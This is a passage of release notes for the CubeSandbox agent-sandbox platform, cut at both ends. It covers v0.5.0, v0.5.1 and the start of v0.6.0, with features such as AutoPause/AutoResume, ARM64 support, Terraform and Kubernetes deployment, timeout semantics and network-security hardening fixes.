CI workflow that runs format checking on PRs. The agent's `fmt` target automatically generates required files (`version.rs`, protocol `.rs`) before formatting. * **CI review-comment via stdin** (#494): PR review comments are now passed via stdin (`--body-file -`) instead of temp files, keeping review content out of the checkout directory. * **CI auto-review comment reuse** (#489): Automated review comments now update the bot's existing marked comment on repeated PR synchronizations instead of creating new top-level comments each time. * **Metric report jitter** (#479): The Cubelet CLS metric report loop now adds random jitter (uniformly distributed between `[t, 1.5t]`) to prevent thundering herd issues when multiple agents start concurrently. --- --- url: https://cubesandbox.com/changelog/v0.5.0.md --- ## 2026.07.03 Release v0.5.0 CubeSandbox 0.5.0 introduces **AutoPause/AutoResume**, a platform-level sandbox lifecycle automation that transparently suspends idle sandboxes and resumes them on-demand on the next dataplane request. This release also delivers **ARM64 (aarch64) native support** across the entire stack — from hypervisor to CI/CD — a **TencentCloud Terraform cluster deployer** for production-grade one-click deployment, and **network security hardening** with per-sandbox traffic access tokens, CubeEgress fail-closed bootstrap, and policy-routing egress. Additional highlights include a **pure-Go native rootfs export pipeline** that bypasses Docker, skopeo, and umoci entirely, a **snapshot runtime locking refactor** to eliminate high-concurrency deadlocks, **image uid/gid preservation** fixes for non-root container images, **E2B SDK alignment** with complete filesystem and PTY APIs, and a **one-click upgrade mode** with three-way config merge. 116 commits from 26 contributors. ### 🎯 Major Features #### AutoPause / AutoResume: Sandbox Lifecycle Automation Sandboxes in agent workflows spend most of their time idle — waiting for user input, callbacks, or the next RL rollout cycle. AutoPause/AutoResume lets the platform automatically suspend idle sandboxes and instantly wake them on the next incoming request, releasing physical host resources during idle periods. This is implemented as a platform-side, per-sandbox capability with semantics aligned to the E2B `lifecycle` parameter. * **AutoPause mechanism**: A sweeper in the new cube-proxy-sidecar (under `CubeProxy/sidecar/`) tracks sandbox activity via `last_active` timestamps reported by CubeProxy's `log_phase.lua`. When `idle >= timeout_seconds`, the sidecar triggers a pause through CubeMaster → Cubelet, which snapshots the full VM state (memory + filesystem) to `/data/cubelet/root/pausevm/`, then shuts down the MicroVM. A configurable `BootstrapWarmup` window prevents premature pausing during sidecar startup. * **AutoResume mechanism**: When a dataplane request arrives for a paused sandbox, CubeProxy's `sandbox_state.lua` gate intercepts it and fires an internal sub-request to the sidecar's `/internal/resume`. The sidecar drives a resume RPC through CubeMaster → Cubelet → containerd, which restores the VM from the pause snapshot. The dataplane request blocks until resume completes (bound by nginx `proxy_read_timeout`). Concurrent resumes for the same sandbox are coalesced in-process (singleflight pattern); cross-replica coordination uses Redis SETNX locks. * **Configurable resource release ratio** (#553): A node-level configuration `host.quota.paused_resource_release_ratio` (float `[0, 1]`, default `0`) controls how much CPU/memory quota paused sandboxes release back to the scheduler. At ratio `1.0`, all quota is released for maximum node density; at ratio `0`, paused sandboxes retain full quota (guaranteed resume). Before resuming, a local admission check verifies the node has capacity — if not, the resume is rejected with HTTP 409 and a precise capacity diagnostic. * **Traffic access token gating** (#639): Sandboxes created with `network.allow_public_traffic=false` receive a per-sandbox `traffic_access_token` (UUID v4). CubeProxy enforces this token on every inbound request (both cold-path and cache-hit), returning HTTP 403 for missing or mismatched tokens. Token values are redacted from all logs. Accepts both `e2b-traffic-access-token` and `cube-traffic-access-token` headers. * **Kill-path lifecycle**: Sandboxes with `on_timeout="kill"` go through an idle timeout kill path with `task.Kill`. New `POST /cube/sandbox/timeout` and `POST /cube/sandbox/refresh` APIs expose `end_at` for deterministic lifecycle management. The CubeProxy gate returns `410 Gone` for killing/killed sandboxes. New files: `CubeProxy/sidecar/` (Go binary — sweeper, resumer, registry, stream consumer, last-active poller, Redis coordination); CubeProxy Lua modules (`sandbox_state.lua`, `admin_phase.lua`); CubeMaster lifecycle endpoints; Cubelet pause/resume RPCs. #### ARM64 (aarch64) Native Support CubeSandbox now runs natively on ARM64 hosts, spanning the hypervisor, guest agent, shim, networking (BPF), build system, CI/CD, and deployment tooling. The work was a deep collaboration between Arm engineering and the Cube project team, progressing from feasibility to formal enablement. * **Hypervisor port** (4dc72757): The SysCtrl device (guest-to-host signaling for shutdown, reboot, vsock-ready) was rewritten from PIO (x86-only) to MMIO for ARM64, registered on the `mmio_bus` at `LEGACY_SYS_CTRL_MAPPED_IO_START`. KVM register access (`get_one_reg`) was updated for a changed upstream API signature. Seccomp rules were aligned for ARM64 syscall number differences (`SYS_lstat` vs `SYS_fstatat`/`SYS_newfstatat`). Live migration support remains x86\_64-gated. * **Guest agent** (cb5706a8): The RPC readiness signal changed from x86 `ioperm()` + PIO port write (port `0x680`) to ARM64 `/dev/mem` mmap at physical address `0x0903_0000` (SysCtrl MMIO region) with `ptr::write_volatile`. Build target auto-detected from host arch. * **CubeShim** (fe3044cf, 4feab884): Kernel command line adapted per architecture — `console=ttyAMA0,115200` (ARM PL011 UART) vs `console=hvc0` (virtio-console). x86-only mitigations (`no_timer_check`, `noreplace-smp`) gated to `#[cfg(target_arch = "x86_64")]`. Seccomp allow-lists aligned: `SYS_mkdir` → `SYS_mkdirat` on ARM64; added missing `SYS_faccessat2` for glibc path resolution on ARM64. * **BPF / CubeNet** (cb263f24): Hardcoded `-target amd64` in BPF `//go:generate` directives replaced with `-target $GOARCH`. Per-architecture `vmlinux.h` headers (amd64 + arm64 BTF dumps). BPF object files regenerated at build time; prebuilt `.o` files removed from git. Requires clang ≥ 14 (added to builder image via `apt.llvm.org`). * **Multi-arch builds** (c6bb3762, 475b4885): `Dockerfile.builder` parameterized with `TARGETARCH` for Go, protoc, and Rust toolchain downloads. CubeEgress, CubeAPI, and envd images support multi-arch manifest lists. A containerized `make guest-kernel` target supports both native and cross builds with architecture-specific kernel configs (`kernel-oc9.x86_64.config`, `kernel-oc9.aarch64.config`). * **CI/CD** (#720): Builder image, VMLinux, and one-click release workflows all produce per-architecture artifacts. Release workflow split into `release_amd64` and `release_arm64` jobs running on native runners; both upload to the same GitHub Release. * **Deployment** (cb52bc72): Dev environment (`run_vm.sh`) auto-detects architecture — ARM64 uses `machine virt` with UEFI firmware (`qemu-efi-aarch64`). Release bundle script packages per-architecture `mkcert` binaries. * **Known limitations** (documented): PVM (nested KVM) is x86\_64-only; ARM64 requires bare-metal with native KVM. Live migration is x86\_64-only. #### TencentCloud Terraform Cluster Deployer A production-grade, one-click cluster deployment for TencentCloud driven entirely by Terraform IaC. From a single release bundle and `create.sh` entry point, the deployer provisions a full CubeSandbox cluster with managed control plane, HA middleware, and elastic compute nodes. * **Infrastructure provisioning** (#629): Terraform provisions a private VPC (`10.0.0.0/16`) with per-zone subnets, NAT Gateway with EIP, security groups, and a bastion jumpserver. Managed cloud services are automatically created: * **MySQL** (TencentDB 8.0): Multi-AZ with semi-sync replication, 4 GB / 200 GB, application account `cube` with database-level privileges. * **Redis** (TencentDB 7.0): Standard master/replica architecture, configurable memory (default 1 GB), password-protected. * **CFS** (Cloud File Storage): NFS share for cube-master's shared persistent storage (`/data/CubeMaster/storage`), mounted ReadWriteMany across replicas. Optional — enables multi-replica HA mode. * **TCR** (Tencent Container Registry): Private registry with VPC peering, namespace per deployment, long-lived access token. * **TKE control plane** (#629): Managed Kubernetes cluster (v1.34.1, GlobalRouter, containerd) with intranet-only apiserver. Four control-plane components deployed as Deployments with CLB Services: * **cube-master**: Shared CFS NFS volume for template/snapshot/runtime state. CubeEgress MITM CA (ECDSA P-256, Terraform-generated). Internal CLB on port 8089. * **cube-api**: Public CLB on port 3000, proxies to cube-master via cluster DNS. * **cube-proxy**: Public CLB on ports 80/443, with Redis and TLS Secrets. * **cube-webui**: Public CLB on port 80, nginx reverse-proxying to cube-api and cube-proxy. * **Configurable replicas** (#658): `cubemaster_replicas`, `cube_api_replicas`, `cube_proxy_replicas`, `cube_webui_replicas` variables (default 1 for POC mode). When `TENCENTCLOUD_USE_CFS=true`, cube-master multi-replica HA is enabled with `cubemaster_replicas` driving both `spec.replicas` and scheduler concurrency apportionment. * **Elastic compute nodes**: Configurable CVM instances (PVM or bare-metal) in private VPC, auto-scaling via TKE node pool. Default 1 node, configurable count and instance types. * **One-click upgrade mode** (#538): `install.sh --mode=upgrade` detects existing installations, performs three-way `.env` config merge (new defaults + old customizations + explicit overrides), runs fail-fast preflight checks (disk space, semver compatibility, CIDR conflict), and backs up configuration before any destructive change. User customizations are preserved; secrets are redacted in the diff report but retained in the actual merged file. * **External MySQL/Redis** (#514): One-click installer supports pointing at pre-existing external MySQL and Redis instances via `CUBE_EXTERNAL_MYSQL_*` / `CUBE_EXTERNAL_REDIS_*` variables. Local Docker containers are masked, and all components (CubeMaster, CubeAPI, CubeProxy) are configured to use the external endpoints. * **Other installer improvements**: `CUBE_PROXY_HOST_PORT` deprecated, split into `CUBE_PROXY_HTTP_PORT` / `CUBE_PROXY_HTTPS_PORT` (#588). Manual SQL seed removed in favor of CubeMaster embedded migrations (#628). CubeEgress integrated into compute node startup (#707). Improved external dependency compatibility with shell-safe env persistence and redis-cli timeout detection (#673). Cubelet reporting interval and scheduler scoring configured for multi-node TencentCloud deployments (b8f22421). Image defaults updated to v0.5.0 tags (#719). New files: `deploy/one-click/terraform/tencentcloud/` (create.sh, destroy.sh, main.tf, variables.tf, tke-addons.tf, outputs.tf, lib-state-sync.sh, env.example); `docs/guide/tencentcloud-terraform-deploy.md` (EN + ZH). #### Network Security Hardening Three critical patches for sandbox network security: inbound access control, outbound fail-closed, and policy-routing egress. * **Per-sandbox traffic access token** (#639): Described in AutoPause/AutoResume above. CubeProxy enforces `traffic_access_token` on every inbound request when `AllowPublicTraffic=false`, returning 403 for missing/bad tokens. Token values are never logged. * **CubeEgress fail-closed bootstrap** (c5f811d8): During CubeEgress startup, before L7 policies are loaded from CubeMaster (bootstrap\_status ≠ "ready"), the proxy now returns 403 for all non-audit traffic instead of the previous fail-open behavior. This eliminates the security gap where sandbox outbound traffic could bypass all host/SNI/method/path controls during a restart window. * **Route-aware egress / cube-router** (7c514e9d): An optional `cube-router` kernel dummy device allows sandbox outbound traffic to enter the Linux host routing stack instead of being hard-redirected to the primary NIC. Traffic can leave through any routable device (eth0, eth1, GRE tunnels, VXLAN, WireGuard), enabling seamless integration with existing multi-NIC and VPN network infrastructure. Existing CubeEgress L7 policy, DNS allow-list, and port mapping are all preserved. * **BPF TCP checksum fix** (7c2dd1ff): Fixed invalid TCP checksums on cross-node port-mapped sandbox replies. The `snat_tcp()` function was incorrectly using `BPF_F_PSEUDO_HDR` when only the TCP port had changed, causing checksum corruption on multi-node deployments. * **from\_world cleanup** (5b919466): Removed ineffective `from_world` TC filter attachment on the loopback interface, reducing unnecessary eBPF hook points. * **Host service access** (48d080e6): Sandbox outbound traffic to the host's own IP is now redirected via BPF shortcut, enabling sandboxed code to reach host-local services. * **Network hardening guide** (#663): New bilingual documentation covering default control-plane attack surface, binding strategies (private NIC vs firewall whitelisting), CubeAPI auth callback with path+method validation, and TLS/credential rotation guidance. ### ✨ Enhancements #### SDK * **E2B filesystem API alignment** (#678): Go and Python SDKs now implement the full E2B filesystem API surface: `list`, `stat`, `exists`, `remove`, `rename`, `mkdir`, and `watch`. Comprehensive integration tests included. * **Python SDK PTY APIs** (250d248a): Complete PTY (pseudo-terminal) interface added to the Python SDK — `create`, `connect`, `kill`, `send_stdin`, `resize` — with streaming output via `PtyHandle` iterator. Speaks envd's Connect-JSON RPC directly; no dependency on e2b Python packages. * **Python SDK E2B network.rules transforms** (#568): Compatibility with E2B's per-host `{transform: {headers: {...}}}` credential injection shape, translated into CubeEgress L7 `action.inject` rules. Drop-in replacement for codebases using E2B's per-host credential injection. * **Python SDK double-encoding fix** (#572): Execution logs and errors are no longer double-encoded, fixing corrupted output display. #### Performance * **Pure-Go native rootfs export** (#558): A daemonless, pure-Go rootfs export pipeline that bypasses Docker, skopeo, and umoci entirely. Features concurrent prefetch, loop-mount streaming directly into ext4 block devices, and a "decompress-and-delete" strategy that significantly reduces peak memory and build time compared to the previous skopeo/umoci pipeline. Enabled by default. * **VirtIO block performance** (#575): Enables `VIRTIO_BLK_F_SEG_MAX` (multi-segment requests) and `VIRTIO_RING_F_INDIRECT_DESC` (indirect descriptors) in the hypervisor's virtio-blk device, improving sequential write throughput from 2888 MiB/s to 3293 MiB/s (fio benchmark). #### Template Management * **Image pull progress TUI** (#580): Real-time pull progress tracking with Redis-backed persistence. New `template watch` and `template build-watch` CLI commands provide an interactive bubbletea TUI showing live metrics (download speed, per-layer completion, step-by-step checklist), with plain-text fallback on non-TTY terminals. * **Latest job ID in template list** (#546): Template list and detail APIs now expose each template's latest create/rebuild job ID. The Web UI automatically opens build logs when viewing a template with an active (running/pending/building) job. * **Artifact resource leak fixes** (#631): Introduces `t_cube_artifact_node_placement` table for node-level artifact tracking independent of replica lifecycle. Periodic artifact GC with MySQL `GET_LOCK` for HA coordination. Hardened cascade cleanup across CubeMaster, Cubelet, and CubeAPI. AgentHub snapshot cascade cleanup with path traversal protection. #### Web UI * **Template creation overhaul** (#675): New multi-step template creation form with image source selection, instance type configuration, network settings, and advanced options. Improved validation and field organization. #### AgentHub * **LLM env-var fallback removal** (#602): All AgentHub LLM secrets and settings now live exclusively in the database, encrypted with a per-installation CSPRNG-generated master key. Environment variable fallback paths are eliminated. The one-click upgrade script actively deletes obsolete env keys. `decrypt_or_passthrough` now fails closed for undecryptable payloads. * **Assistant state persistence** (#582): Authentication, OpenClaw runtime state, template inheritance, and snapshot recovery behavior are now persisted in the database. Includes bcrypt-based auth, WeCom secret decryption, rate limiting on auth entrypoints. Enables backup/restore and safe cloning of digital assistants. #### Deployment & Installer * **One-click upgrade mode** (#538): Detailed in Terraform section above. `--mode=upgrade` with three-way env merge, pre-upgrade backup, and fail-fast preflights. * **External MySQL/Redis** (#514): Detailed above. Support for pointing one-click installer at pre-existing external database instances. * **CUBE\_PROXY port split** (#588): `CUBE_PROXY_HOST_PORT` deprecated; `CUBE_PROXY_HTTP_PORT` (default 80) and `CUBE_PROXY_HTTPS_PORT` (default 443) provide separate HTTP/HTTPS control. * **Static builds** (#583): `cube-api`, `cubemaster`, and `cubemastercli` are now fully static binaries (`CGO_ENABLED=0` / musl target), eliminating host glibc dependency and preventing version-skew failures. * **Embedded migrations** (#628): Manual SQL seed removed; CubeMaster embedded goose migrations own single-node seed rows. Eliminates mysql client dependency on control nodes. * **CubeEgress compute integration** (#707): CubeEgress integrated into compute node startup/down scripts, extending egress policy enforcement to all nodes. * **resolvectl compatibility** (#703): Tolerates missing `resolvectl default-route` on older systemd (pre-v240), preventing install failures on RHEL 8.3 and similar distributions. #### Infrastructure * **Redis key unification** (#609): All Redis keys centralized in `pkg/base/rediskey` with consistent naming. Read/write pool separation dropped in favor of a single pool, simplifying multi-node deployment configuration. * **Migration identity hardening** (#620): Three-layer defense against silent migration skipping: 14-digit UTC timestamp prefixes for new migrations, out-of-order application support, and SHA-256 content fingerprinting with startup verification. CI enforces immutability of already-merged migration files. * **Node label management API** (#633): `POST /nodes/{id}/labels` and `DELETE /nodes/{id}/labels` endpoints for admin-managed labels. Kubernetes-compatible naming (DNS1123 subdomain prefix), SELECT FOR UPDATE race protection, 64-label limit, system-reserved namespace protection (`kubernetes.io`, `beta.kubernetes.io`, `cube.cloud.tencentcloud.com`). * **envd version reporting** (#650): Collected envd versions propagated as sandbox annotations, enabling E2B SDK feature gating against real runtime versions instead of a hardcoded constant. * **Configurable HTTP bind** (#662): `CUBEMASTER_HTTP_BIND` makes the HTTP listen address configurable, supporting private-NIC binding for network security hardening. * **TencentCloud scheduler scoring** (b8f22421): Multi-node scheduler scoring with `real_time_weighted_average` plugin balancing mvm\_num, local\_create\_num, cpu\_usage, and quota\_mem\_usage. `priority_select_num` dynamically capped at `min(compute_node_count, 3)`. ### 🐛 Bug Fixes These fixes address issues present in v0.4.0: * **High-concurrency rollback deadlock** (#693): Snapshot runtime active binding refactored into a dedicated `t_cube_snapshot_runtime_active` table with sandbox-level and resource-level distributed locks. Eliminates MySQL 1213 deadlock errors. * **Image uid/gid squashing** (#671, #608): Two complementary fixes for image ownership preservation: * Native export path (#671): Removed `WithNoSameOwner()` option, which was squashing all file uid/gid to the extracting user, breaking image ownership. * Template center (#608): `umoci unpack --rootless` now only passed when euid ≠ 0 (not when running as root). Docker-export fallback uses `--same-owner --numeric-owner`. Fixes Chromium profile write failures and CDP unreachability in browser sandboxes, and envd exec EACCES on `/home/user` for Python images. * **Hung hostdir mounts** (#691): Hostdir bind and remount operations now run through a bounded 3-second timeout subprocess. Previously, stale NFS mounts or other hung filesystems would block sandbox creation indefinitely. * **CubeProxy envd streaming buffering** (#647): Nginx response buffering disabled for envd server-streaming endpoints. Previously, nginx buffered early stream frames, breaking immediate-return semantics for background commands and watch streams. * **MSI-X table/PBA hardening** (#619): Guest-triggered panics in the VMM's MSI-X table/PBA read/write paths replaced with graceful error handling. A malicious or buggy guest can no longer crash the VMM process via invalid MSI-X accesses. * **CubeProxy implementation detail leakage** (#653): Removed `X-Cube-Retcode` response header and `$cube_retcode` access-log field that exposed internal failure-mode codes. Errors now return opaque HTTP status codes with uniform JSON bodies, preventing sandbox ID enumeration and infrastructure probing. * **Auth callback method forwarding** (#315): `X-Request-Method` now forwarded to auth callbacks alongside `X-Request-Path`, enabling fine-grained (path + method) authorization. Previously, a read-only credential could access destructive endpoints on the same path. * **envd command env propagation** (#566): Fixed create-time environment variables being dropped when starting envd via `commands.run`. * **Sandbox preview route** (#570): Fixed missing `/cube/sandbox/preview` route handler that caused `cubemastercli tpl render` to silently fail. * **One-click upgrade bundle integrity** (#597): Fixed missing `scripts/common/` directory in upgrade bundles that broke preflight validation scripts for the upgrade feature (#538). * **Template creation Cube CA forwarding** (#652): Fixed `with_cube_ca` parameter not being forwarded when creating templates, ensuring clients can control whether the CubeEgress root CA is baked into template rootfs. * **CubeEgress compute CA refresh** (#614): CubeEgress on compute nodes now refreshes its MITM CA from CubeMaster, fixing CA mismatch after master rotation. * **Template info backfill** (#594): Backfilled missing `created_at` and `image_info` fields in template detail responses. * **Snapshot delete job cleanup** (#559): Cleaned orphaned job rows after snapshot deletion, preventing stale build job references. * **Cross-replica node sync** (#542): Periodic reload goroutine started for nodemeta cross-replica synchronization, fixing stale node state in multi-replica CubeMaster deployments. * **BPF inner map BTF key/value** (#595): CubeVS inner maps now created with BTF key/value, fixing BPF map compatibility on newer kernels. * **One-click install root enforce** (#649): Configurable install root paths removed; install prefix safety assertion hardened to prevent accidental system directory wipes. * **One-click MIRROR persistence** (#622): MIRROR env now persisted to `.one-click.env` for consistent image registry selection across restarts. * **One-click same-CIDR reinstall** (#586): Distinguishes same-CIDR reinstall from CIDR change, uses systemd to stop services cleanly. * **One-click compute quickcheck race** (#637): Post-start compute node checks now tolerant of transient startup races. * **One-click DATABASE\_URL persistence** (#611): `DATABASE_URL` now persisted for local MySQL in install and systemd start paths. * **Python SDK streaming body** (377a99dc): Request bodies buffered before copying in `IPOverrideTransport`, fixing multipart upload failures. * **CubeProxy log cleanup** (#593): Dead log fields and faulty-backend stubs removed from CubeProxy. * **TencentCloud deployer semver helpers** (#587): `semver_compare` and `version_lt` functions added for correct upgrade decision logic. ### 📚 Documentation * **ARM64 deployment guides** (64931ff2): All deployment guides (quickstart, bare-metal, dev environment, multi-node, self-build) updated in EN + ZH with architecture-specific instructions. ARM64 PVM limitation documented. * **Network hardening guide** (#663): Bilingual operational security guide covering control-plane attack surface, binding strategies, auth callback configuration, and TLS/credential guidance. * **TencentCloud Terraform deploy guide** (ae81121d): Full deployment guide (EN + ZH) for the Terraform cluster deployer. * **Snapshot/clone/rollback deep-dive** (#680): Technical deep-dive blog post on snapshot, clone, and rollback mechanisms (EN + ZH). * **Sandbox logs guide** (#692): New `cubecli logs` usage guide with examples. * **Multi-node scheduler scoring** (#672): Guidance on configuring multi-node scheduler scoring for balanced workload distribution. * **Host mount permission fixes** (#560): Documentation explaining host mount permission handling. * **v0.4.0 release blog posts** (#585): Release announcement and agent-friendly-service posts (EN + ZH). * **Network deep-dive blog** (#627): Technical deep-dive on CubeSandbox networking (EN + ZH). * **README improvements** (#640, #666, #646): Product highlights, v0.4 showcase, benchmark report links, architecture diagram update, homepage tagline refinement. * **Documentation optimization** (#665): Cross-documentation link fixes, sidebar navigation for snapshot-rollback-clone, localized docs flow preservation (#668, #664). * **Install guide links** (#475, #466): Installation guide callouts in benchmark posts, troubleshooting links in install error messages. ### ⚙️ Engineering Improvements * **Multi-arch CI** (#720): Builder image, VMLinux, and one-click release workflows all support amd64 + arm64 with per-architecture artifacts and multi-arch manifests. * **Python SDK publish workflow** (#700): GitHub Actions workflow for PyPI publishing triggered by `python-sdk-v*` tags. Version cross-validation (tag vs `pyproject.toml` vs `__init__.py`), smart change detection to skip unchanged publishes, and `twine check` validation. * **Cubelet reporting default** (#722): Reporting interval default changed to 1s for more responsive metrics. * **CI release workflow hardening** (#724): `--repo` flag added to `gh release` commands for correct repository targeting. --- --- url: https://cubesandbox.com/changelog/v0.5.1.md --- ## 2026.07.10 Release v0.5.1 CubeSandbox 0.5.1 is a production follow-up to 0.5.0, hardening AutoPause, ARM64, and cluster deployment for real-world scale. Headline items: a standalone **cube-lifecycle-manager** control-plane service (extracted from the CubeProxy sidecar so CubeProxy can scale horizontally), a **three-value timeout semantics** refactor with server-side defaults and `NEVER_TIMEOUT`, and **host-mount path allowlisting** to close arbitrary host bind-mounts. The release also fixes ARM64 64 KB page snapshot integrity and substantially improves egress policy / TAP recycle reliability. 59 commits from 18 contributors. ### 🎯 Major Features #### cube-lifecycle-manager: Standalone AutoPause Coordinator Splits the former in-image `cube-proxy-sidecar` into a standalone control-plane service — **cube-lifecycle-manager (CLM)** — so CubeProxy can run multiple replicas without a single-instance sidecar bottleneck. * **Standalone deploy**: CLM is wired into `cube-sandbox-control.target`; one-click and TencentCloud Terraform deployments both include it. * **Redis service discovery**: each CubeProxy replica registers its admin endpoint in Redis; CLM discovers live replicas and coordinates auto-pause / auto-resume with no static replica list. * **Protocol compatibility**: wire protocol, Redis schema, and SDK behavior are unchanged; existing AutoPause / AutoResume semantics are preserved. * **TencentCloud Terraform** (#814): control plane gains a `cube-lifecycle-manager` Deployment; supports `TENCENTCLOUD_CUBE_PROXY_REPLICAS` multi-replica plus CLM replica count / discovery refresh / admin token knobs. #### Three-Value Timeout Semantics + Server-Side Default Unifies sandbox idle-timeout semantics (E2B-aligned) and moves the "not set" vs "explicit default" decision from SDK / CubeAPI down to CubeMaster. | Value | Meaning | |-------|---------| | Omitted (`None` / `nil`) | Cluster `default_timeout_insec`; if unset or ≤0 → never timeout | | `NEVER_TIMEOUT` (`-1`) | Never reclaim on idle | | `0` | Immediate timeout (reclaimed on the first idle sweep) | | `N > 0` | Idle TTL = N seconds | * **SDK**: Go / Python `CreateOptions.Timeout` become optional pointers; Create / Connect / Resume no longer inject a hard-coded default. Expose `NeverTimeout` / `NEVER_TIMEOUT` sentinels. * **CubeAPI / CubeMaster**: timeout fields are `Option` / `*int`, preserving "unset"; `EndAt` follows three-value rules (`-1` → no deadline). * **RPC deadline decoupled from idle TTL**: new `create_timeout_insec` (default 300s) bounds only the create/scheduling RPC. * **CLM sweeper**: skip reclaim when `TimeoutSeconds < 0`; immediate reclaim at `== 0`; legacy `nil` falls back to `DefaultIdleTimeout`. * **Runtime adjustment**: Python / Go SDKs add `set_timeout()` / `SetTimeout()`, including `NEVER_TIMEOUT` (#743, #850). Web UI can pass timeout on sandbox create (#798). #### Host-Mount Path Allowlist Hardening Host-mount previously accepted any absolute path, letting sandboxes bind-mount arbitrary host directories. Paths are now restricted to configurable prefixes (default `/data/shared/`), with `filepath.Clean` neutralizing `..` traversal; `/` is explicitly forbidden in config (#756). Persistent-storage docs updated (path restriction, permissions, multi-tenant isolation, multi-node shared storage); examples aligned to the default prefix (#768). ### ✨ Enhancements #### SDK * **Node.js / TypeScript SDK (preview)** (#792): adds `@cubesandbox/sdk` aligned with the Python / Go surface; still under validation — use with caution in production. * **Python / Go `set_timeout`** (#743, #850): E2B-aligned; CubeAPI / CubeMaster accept `-1` (`NEVER_TIMEOUT`) and reject other negatives. * **Go SDK allowOut guard alignment** (#802): `AllowPublicTraffic=false` is no longer treated as deny-all; matches CubeAPI (deny-all only when `AllowInternetAccess=false` or `denyOut` contains `0.0.0.0/0`). #### Networking & Egress * **CubeEgress credential injection on plain HTTP** (#726): allows inject against HTTP-only upstreams. The security boundary is that sandbox code never sees the secret, not that egress→upstream must be TLS. * **CubeEgress transparent-proxy IP from sandbox CIDR** (#851): no longer hard-codes `192.168.0.1`; derives the first usable IP from `CUBE_SANDBOX_NETWORK_CIDR` so custom sandbox networks get correct TPROXY / OpenResty listen addresses. * **Minimum TTL for DNS-learned egress entries**: clamp learned allow entries to ≥300s so short DNS TTLs do not cause reconnect denials. * **Skip policy re-check for established CubeEgress sessions**: CubeVS skips egress policy re-evaluation for existing TCP sessions so DNS expiry does not break live connections; policy check folded into `create_nat_session` with per-session caching. * **Always replay default deny on replace**: replace / flush always replays private / link-local default deny entries so create and replace policy shapes stay consistent. #### Deployment & Installer * **CubeProxy pre-published multi-arch images** (#849): one-click pulls TCR multi-arch images instead of building on-host; supports `MIRROR=cn|int` and airgap local-cache fallback. * **Component image release pipeline** (#795): `release-docker-images.yml` pushes multi-arch component images to GHCR / TCR; `bump-image.sh` is the single source of truth for hard-coded tags. * **CubeMaster Dockerfile** (#813, #824): unified Docker build args / context and ARG scoping fixes; CubeAPI Dockerfile switched to single-shot build with safety gates (#854). * **One-click dnsmasq fallback** (#740): optional script-owned dnsmasq when systemd-resolved is absent and NetworkManager's dnsmasq plugin never spawns, restoring `cube.app` resolution. * **Anchored cubelet config patching** (#776): sed replacements anchored at line start so updating `CUBE_SANDBOX_NETWORK_CIDR` cannot rewrite an empty `cube_router_cidr`. #### Web UI / AgentHub / Other * **CubeAPI lifecycle snake\_case** (#772): accepts Python-style `lifecycle.on_timeout` / `lifecycle.auto_resume`, avoiding silent fallback to kill / no-resume. * **AgentHub OpenClaw bind=lan** (#769): force gateway bind to `lan` so cube-proxy can reach it via tap IP (`auto` could resolve to loopback). * **ARM64 runtime hardening** (#807): dirty-bitmap granularity uses host page size (fixes severely incomplete snapshots on 64 KB pages and 200% CPU on restore); aarch64 vCPU falls back to PMU-less init when the host lacks PMUv3. * **Dev-env QEMU 10.x** (#713): explicit `-drive if=none` + `-device virtio-blk-pci` fixes empty-drive errors on QEMU 10.2.2+. ### 🐛 Bug Fixes #### Lifecycle & Sandboxes * **Idempotent resume** (#817): already-Running sandboxes return an "already in target state" signal (treated as success by CLM), distinct from truly non-resumable states. * **404 on delete missing sandbox** (#759): CubeAPI / CubeMaster map missing-sandbox deletes to NotFound. * **Stable sandbox list order** (#762): sort by creation time descending with SandboxID tie-break so WebUI / SDK refreshes no longer reshuffle. * **Preserve template network rules & resource defaults** (#581): keep egress rules when creating templates from images; retain the first CPU/memory validation error; request-side overrides win under first-match-wins. #### Networking & Data Plane * **Safe TAP recycle** (network-agent): do not return TAPs to the pool until cleanup and pool prep succeed; failed cleanup keeps residual policy off the reusable pool; clear policy / DNS allow state before reuse to prevent cross-sandbox leakage. * **Go SDK envd port** (#821): envd RPCs (commands / files / filesystem / PTY) route to port 49983 instead of Jupyter 49999; only `RunCode` / `/execute` stays on Jupyter. #### Other * **Example host-mount paths** (#768): examples and docs use `/data/shared/...` to match the default allowlist. ### 📚 Documentation * **ARM64 support announcement blog** (#866): bilingual InfoQ-style post on the joint Arm multi-arch effort. * **Pi Agent integration guide** (#701): bilingual docs + runnable example (pause/resume, network policy, credential injection). * **Lifecycle / quota docs** (#739): ARM64 install notes and lifecycle quota documentation. * **Persistent storage guide** (#756): host-mount path restriction, permissions, multi-tenant isolation, multi-node shared storage. * **Roadmap** (#731): roadmap added to README and docs site. * **v0.5.0 release materials** (#770, #781): release blog and feature copy updates; Quickstart notes Multi-Arch image availability (#806). * **Dev skills & doc hygiene** (#788, #789): Claude Code `run-dev` skill; i18n sync checks and change-driven doc audit rules. ### ⚙️ Engineering Improvements * **Platform-suffixed versions in matrix checks** (#747). * **PVM guest build trigger tightened** (#819): only on version tags. * **Image tag bumps**: one-click / Terraform defaults synced through `v0.5.1-rc*` candidates (#826, #867). * **Python SDK version bump to 0.5.0** (#818). * **CubeAPI dead-code cleanup** (#796) and other small engineering tidy-ups. > Note: Web Example Center (#615) was merged and immediately reverted (#778); it is not part of this release. --- --- url: https://cubesandbox.com/changelog/v0.6.0.md --- ## 2026.07.24 Release v0.6.0 CubeSandbox 0.6.0 continues to strengthen core capabilities for production deployment and operations. This release introduces 6 major features along with multiple enhancements and bug fixes. 92 commits from 31 contributors. ### 🎯 Major Features #### Kubernetes Deployment: Deploy Cube Control Plane and Compute Nodes on K8s Deploy CubeSandbox control-plane components and compute nodes directly onto Tencent Cloud TKE, standard Kubernetes, or k3s clusters via Helm Chart. Perform rolling upgrades, canary releases, and other operations using standard Kubernetes practices. For details, see the [Kubernetes Deployment Guide](https://cubesandbox.com/guide/kubernetes/). ::: warning Preview Kubernetes deployment is currently in preview. Advanced capabilities such as seamless upgrades are still under active development. Feedback is welcome. ::: #### E2B-Compatible Volume Framework Introduces an E2B-compatible Volume framework that lets users plug in custom backend storage while remaining compatible with the E2B standard. Provides four hooks — Create / Destroy / Attach / Detach — and two plugin forms: Binary and RPC. This release includes Volume lifecycle management, sandbox–Volume binding APIs, and supporting SDK and cubemastercli capabilities. For details, see the [Volume Plugin Guide](https://cubesandbox.com/guide/volume-plugin.html). #### Template Aliases Support setting an alias when creating a template, and creating sandboxes by specifying that alias. Note: Aliases can only be set at template creation time; existing templates cannot have aliases added or changed. Specifying an alias when creating a sandbox is currently supported only in the Python SDK; other SDKs will follow soon. #### Configurable Host for Inbound Sandbox Requests Allow configuring the `Host` header forwarded to the sandbox (instead of the default 